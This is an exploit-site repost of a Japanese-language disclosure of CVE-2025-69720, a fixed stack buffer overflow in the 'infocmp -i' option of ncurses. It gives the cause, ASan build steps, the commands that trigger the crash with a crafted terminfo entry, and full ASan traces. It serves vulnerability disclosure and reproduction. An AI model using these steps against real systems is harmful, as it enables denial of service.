Sploitus

Exploit for CVE-2025-69720

kitploit · 2026-09-05

Exploit Code

MARKDOWN189 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CAO-WUHUI-CVE-2025-69720
# CVE-2025-69720: ncurses infocmp `-i` スタックバッファオーバーフロー (CWE-121)

報告者: Yixuan Cao (Shenzhen University), some-email@example.com

## 環境

  * ホスト: openEuler 22.03 LTS (Linux aarch64)
  * ツールチェーン: system `clang` 12.0.1 + AddressSanitizer
  * ソース: ncurses-6.4 and ncurses-6.5 (パッチ20251213より前)



## 概要

`infocmp -i` は `analyze_string()` (`progs/infocmp.c`) を呼び出して、terminfo エントリ内に見つかった CSI シーケンスを検査します。このルーチンは、候補となる部分文字列を固定サイズのスタックバッファ (`buf2`, 4096 バイト) にコピーします。`len = strlen(cp)` が 4096 に対してチェックされていないため、悪意のある長い CSI パラメータリスト (例: `sgr=\E[1234567;…;m` で約 800 個のパラメータ) が `buf2` をオーバーフローさせ、スタック破壊を引き起こします。同じ PoC は 6.4 および 20251213 パッチより前の 6.5 でも再現します (以下の ASan 出力を参照)。6.4 より前のバージョンはテストされていません。

ncurses news (2025/12/13) でバグが確認・修正され、公式パッチ が利用可能です。

## 影響

  * 細工された terminfo エントリで `infocmp -i` を実行すると、ツールがクラッシュする可能性があります (スタックバッファオーバーフロー)。つまり、その呼び出しに対するローカルサービス拒否です。
  * オーバーフローは、`progs/infocmp.c` の `analyze_string` で、`len = strlen(cp)` をチェックせずに `buf2[MAX_TERMINFO_LENGTH]` (4096) にコピーし、続いて `buf2[len] = '\0'` を実行するときに発生します。
  * `-i` オプションは、init/reset 関連のケイパビリティ (is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx) のための特殊な解析パスです。`-i` なしの一般的な `infocmp` の使用には影響しません。
  * **修正済み** : ncurses 6.5 (パッチ20251213適用、`ncurses-6.5-20251213.patch.gz`)



## 再現手順 (ncurses-6.4 を例に)

  1. ncurses-6.4 のソースコードを ASan 付きで準備してコンパイルします: 

root@kitploit:~
         
         # Download and extract the source code of ncurses-6.4
         # (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
         cd ~
         wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
         tar xvf ncurses-6.4.tar.gz
         cd ncurses-6.4
         
         # Configure with ASan
         CC=clang \
         CFLAGS='-O1 -g -fsanitize=address' \
         LDFLAGS='-fsanitize=address' \
         ./configure --enable-widec   # keep wide-char support so the long SGR survives
         
         # Compile infocmp/tic/etc.
         make -j$(nproc)
         

  2. PoC terminfo ソース (ファイルは `~/evil_sgr.ti` にあると仮定) を一時的なデータベースにコンパイルします: 

root@kitploit:~
         
         ~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
         

  3. ASan が有効な `infocmp` でオーバーフローをトリガーします: 

root@kitploit:~
         
         TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
         

(6.5 の場合は、対応する `~/ncurses-6.5/progs/...` のパスを使用してください。)



## ASan 出力

ncurses-6.4 の場合:

root@kitploit:~
    
    
    [yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
    =================================================================
    ==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
    WRITE of size 6402 at 0xffffcfa5e240 thread T0
        #0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
        #1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
        #2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
        #3 0xffffab9d0ffc  (/usr/lib64/libc.so.6+0x2affc)
        #4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
        #5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)
    
    Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
        #0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818
    
      This frame has 2 object(s):
        [32, 4128) 'buf2' (line 819)
        [4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
    Shadow bytes around the buggy address:
      0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
      0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
      0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3848299==ABORTING
    

ncurses-6.5 の場合:

root@kitploit:~
    
    
    [yixuan@Taishan200 ~]$  TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
    =================================================================
    ==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
    WRITE of size 6402 at 0xfffff7af5380 thread T0
        #0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
        #1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
        #2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
        #3 0xffff811baffc  (/usr/lib64/libc.so.6+0x2affc)
        #4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
        #5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)
    
    Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
        #0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842
    
      This frame has 2 object(s):
        [32, 4128) 'buf2' (line 843)
        [4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy
    Shadow bytes around the buggy address:
      0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
      0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3863888==ABORTING